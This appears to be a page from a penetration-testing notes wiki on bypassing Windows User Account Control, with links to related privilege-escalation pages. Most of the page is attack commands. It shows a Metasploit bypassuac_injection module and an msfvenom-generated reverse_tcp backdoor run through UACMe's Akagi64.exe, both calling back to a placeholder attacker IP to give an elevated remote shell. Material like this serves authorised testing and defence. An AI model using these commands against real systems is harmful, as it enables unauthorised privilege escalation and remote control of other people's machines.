Windows UAC bypass

UAC (User Account Control) prevents programs from running with elevated privileges without an explicit admin confirmation prompt.

Pre-condition: the account must already be a member of the local Administrators group.

Method 1: Metasploit (memory injection)

# You need an existing unprivileged meterpreter session first
use exploit/windows/local/bypassuac_injection
set SESSION <id>
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <attacker_ip>
run
# → New elevated meterpreter session with UAC off

Method 2: UACMe (manual, standalone)

# 1. Generate a meterpreter payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f exe -o backdoor.exe

# 2. Set up a listener
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT <port>
run

# 3. On the target: transfer both Akagi64.exe and backdoor.exe, then run
Akagi64.exe 23 backdoor.exe   # method 23 is one known bypass technique

After a successful bypass, confirm elevation with getsystem or check that getuid returns NT AUTHORITY\SYSTEM.

Related

• UACMe: bypassing Windows UAC: the standalone tool used in method 2, with the full list of bypass methods
• msfvenom: generating & encoding payloads: generates the payload used in method 2
• Windows access token impersonation: sibling privesc technique once you’re a local admin
• Windows kernel privilege escalation: the next option if UAC bypass isn’t viable
• Metasploit Framework: console, database & workflow basics: the use/set/run workflow used in method 1